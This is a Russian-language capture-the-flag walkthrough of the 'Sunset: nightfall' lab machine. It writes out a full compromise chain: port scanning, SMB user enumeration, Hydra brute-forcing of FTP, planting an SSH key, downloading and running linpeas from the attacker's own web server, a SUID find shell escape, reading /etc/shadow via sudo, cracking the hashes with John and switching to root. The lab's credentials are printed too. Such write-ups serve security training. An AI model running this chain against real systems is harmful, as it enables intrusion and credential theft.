Сегодня в нашем прохождении серии Sunset следующая коробочка – nightfall.


Автор: whitecr0wz

И как обычно мы начинаем с определения IP-адреса.

netdiscover

IP нашей машины будет 192.168.1.106.

Сканирование


Просканируем все порты

nmap -p- 192.168.1.106

Просканировав все порты, мы видим, что у нас открыты 21, 22, 80, 129, 445 и 3306 порты. Просканируем их с помощью Nmap командой

nmap -p21,22,80,129,445,3306 -sC -sV -oN nightfall 192.168.1.106 



Поиск точки входа


Пойдем по порядку и попробуем подключиться по ftp с логином и паролем anonymous:anonymous, но у нас ничего не выходит.



Для подключения по ssh нам нужен пароль или ключ, на сайте (80 порт) также ничего интересно, ну и для подключения к mysql тоже нужны креды. Остались порты на которых крутится smb. В этот раз будем использовать enum4linux, так как smbmap ничего полезного нам не сказал.

enum4linux -a 192.168.1.106

Вывод этой тулзы слишком «мусорный», поэтому я выделю только самое главное, что она нашла имена пользователей.



Пользователь 1


Судя по всему, у нас не остается большого выбора, кроме как сбрутить пароль к пользователю. Будем брутить ftp, так как к нему пароль сбрутить быстрее, чем к ssh. Для этого воспользуемся гидрой

hydra -l matt -p /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.1.106 -v



Опцией -l мы определили имя пользователя, -P словарь с паролями, -t количество потоков и -v отображение текущего статуса.
И гидра нас не подводит подобрав пароль для пользователя matt:cheese.
Подключаемся к машине по ftp с имеющимися кредами

ftp 192.168.1.106



И вот мы в домашней папке пользователя matt. Мы видим папку .ssh, значит можно загрузить свой ключ и получить доступ через ssh. Генерируем пару ключей

ssh-keygen



На выходе у нас будет 2 файла, я назвал их matt и в итоге у нас есть matt.pub и matt.
В matt.pub лежит открытый ключ, читаем файл или копируем его с названием authorized_keys и загружаем в папку c помощью команды put и подключаемся по ssh.

ssh -i matt matt@192.168.1.106

Опцией -i мы определили закрытый ключ для подключения к пользователю.
И вот мы внутри, давайте воспользуемся невероятным скриптом для поиска возможности повышения привилегий для линукса. Для этого поднимем питоновский сервер в папке, где лежит скрипт, и, скачав его на машину, сделаем исполняемым и запустим.

python3 -m http.server 80
chmod +x linpeas.sh
sh linpeas.sh

Скрипт говорит, что есть какой-то странный бинарник, давайте попробуем получить шелл.



Заходим на GTFObins и смотрим команду для получения шелла через find


Немного сокращаем команду, у нас появляется шелл (опцию –exec, как можно догадаться, мы использовали для исполнения команды). Видим, что у нашего процесса (шелла) есть права доступа пользователя nightfall, и мы включены в группу. Так давайте это и используем.



Пользователь 2


Я тут попробовал сделать шелл более интерактивным, но как-то не получилось. В любом случае удобнее будет работать через ssh, так что генерируем еще пару ключей. Как и для пользователя matt поднимаем питоновский сервер и скачиваем на целевую машину

ssh-keygen
python3 -m http.server

На целевой машине

wget http://192.168.1.68:8000/authorized_keys



Наш открытый ключ успешно скачан, можно подключаться по ssh

ssh -i nfall nightfall@192.168.1.106



Повышение привилегий


Я сразу решил проверить права пользователя на выполнение команд от имени root

sudo -l

И нам говорят, что мы можем читать все на целевой системе командой cat. Нам ничего не остается кроме как прочитать файл с хешами паролей /etc/shadow

sudo cat /etc/shadow



Вот у нас есть несколько хешей, давайте крякнем их. Создаем файл и копируем туда строчки с хешами, а затем зовем нашего друга Джона

john --wordlist=/usr/share/wordlists/rockyou.txt hashes



Джон как всегда нас не подводит и говорит, что у пользователя root пароль miguel2, теперь мы можем повысится до root'а, используя полученный пароль

su -



И вот мы повысились до root'a, и в конце нас ждет такой симпатичный флаг



Это был пример одной из ctf'ных коробок, простой как для взлома, так и для понимания. Хоть это и ctf задание, но в реальности все равно остаются машины с подобными конфигурациями, что может привести к печальным последствиям.

Другие части прохождения машин Sunset:

Sunset: 1
Sunset: dawn